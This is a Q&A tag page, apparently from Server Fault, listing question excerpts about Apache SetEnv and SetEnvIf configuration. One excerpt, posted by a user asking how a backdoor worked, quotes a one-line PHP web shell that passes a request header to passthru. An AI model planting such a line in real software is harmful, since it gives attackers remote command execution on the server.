Questions tagged [setenv]
32 questions
1
vote
1 answer
Dynamic variable SetEnv vhost Ubuntu Apache2
I apologize if this question has already been asked.
I am looking for a solution to make SetEnv use the %2 variable.
Is that even possible?
My vhost:
ServerName dev.someuri.nl
ServerAlias *.*.dev.someuri.nl
…

Wesley van Opdorp
- 291
- 1
- 3
- 10
1
vote
1 answer
PHP Backdoor code
I've found a php backdoor on my host.
passthru(getenv(HTTP_ACCEPT_TROLOLO)); ?>
I see requests in access log to that php file were POST requests, but I don't know
how the SETENV of that variable was set; could someone explain how such variable…

Hrvoje Špoljar
- 5,245
- 26
- 42
1
vote
1 answer
How can I use SetEnv with mod_fcgid to pass virtualhost specific options to my PHP application? (apache2)
I'm running into some trouble figuring out how I should handle something under FastCGI that worked pretty easily under mod_php. Before I was using SetEnv to pass options from my VirtualHost directive to my PHP application. For example:
SetEnv…

Beau Simensen
- 113
- 1
- 4
1
vote
1 answer
Why environment variable set by SetEnv in apache httpd.conf cannot be passed to php?
I set an environment variable in httpd.conf:
SetEnv http_proxy "http://localhost:3128"
But I cannot get this variable in php using getenv:

peter
- 93
- 13
0
votes
1 answer
SetEnvIf problem on htaccess
I'm trying to get this running,
SetEnvIf Host ^dev\. HOST_DEVELOPMENT
SetEnvIf Host ^www\. HOST_PRODUCTION
# e.g. php_flag display_errors on
# e.g. php_flag…

Devrim
- 1,187
- 4
- 16
- 29
0
votes
1 answer
apache2: disable keep-alive when header match
I want that Apache disable keep-alive for http 1.1 when a specific host header is set. But I cant figure out how it is be done, because there are really less examples on the Net to SetEnvIfExpr. What I have is this:
SetEnvIfExpr…

Thomas
- 177
- 3
- 13
0
votes
1 answer
How can I stop Apache2 from log certain warning messages?
On my Apache ErrorLog file I see many times this warning message:
[Wed Aug 23 17:27:25.146025 2017] [:error] [pid 14989] [client 66.249.76.54:44935] PHP Warning: Illegal offset type in isset or empty in…

NineCattoRules
- 179
- 1
- 3
- 15
0
votes
2 answers
Combining attributes of SetEnvIF in Apache 2.4
I would like to combine the following SetEnvIF configuration into single line. Is it possible to do so?
SetEnvIF X-Forwarded-For ^(91\.148\.158\.226|77\.70\.95\.131) TRUSTED_IPS
SetEnvIf X-Real-IP ^(91\.148\.158\.226|77\.70\.95\.131) TRUSTED_IPS

Radoslav Stefanov
- 71
- 1
- 8
0
votes
1 answer
Nginx SetEnvIf Host
Previous server was running on Apache but now i have switched to Nginx.
It's all working great except i don't know how to convert this Apache line in to my working nginx config
SetEnvIf Host "^([^\.]+)\.my-shop\.dev$" MY_ENV=$1
What it needs to do…

Valor_
- 125
- 1
- 8
0
votes
1 answer
How use setEnv with another Env?
My question is how can I use setEnv with an already defined environment variable.
For example:
"/etc/apache2/envvars"
...
export SSL_ROOT_DIR=/etc/letsencrypt/live
export…

UnitedPE
- 3
- 4
0
votes
1 answer
apache 2.2 and http auth. by country with mod_geoip
I'm using mod_geoip for filtr some traffic. So now I have e.g. this
SetEnvIf GEOIP_COUNTRY_CODE FR AllowCountry
Deny from all
Allow from env=AllowCountry

Pavel
- 417
- 1
- 7
- 17
0
votes
2 answers
Using setenv in Apache (Windows) DocumentRoot
Stack trying to migrate a configuration from Linux to Windows Apache 2.2 (via WAMP)
We are trying to set an ENV Apache variable to be used as DocumentRoot and rest of directives thereafter so we can use the same set of confs on server and local…

luison
- 282
- 1
- 7
- 22
0
votes
1 answer
Solaris 10: OpenBoot setenv set-defaults
I was trying to change the default mountpoint for /usr in /etc/vfstab. I am running Solaris 10 on a Sun Fire 480R.
Unfortunately, I made an error with editing the /etc/vfstab so I could no longer access /usr. I tried booting to cdrom as single user…

cali-spc
- 25
- 6
0
votes
1 answer
Changes in SetEnv directives not seen in scriptalias
I need to read an environment variable in a ScriptAlias script.
So I have SetEnv directives to set these variables, in the following apache configuration.
ServerName ...
DocumentRoot /srv/www
ServerAlias git
DocumentRoot…

jolivier
- 141
- 1
- 9
0
votes
1 answer
Apache - test is SetEnv variable being loaded
Is there any way I can actually tell if a SetEnv variable is being loaded by Apache?
I am trying to set:
SetEnv proxy-sendchunked 1
However have no way in telling if it is actually being set. Is there any logging that can be enabled to show it is…

Ben
- 3
- 2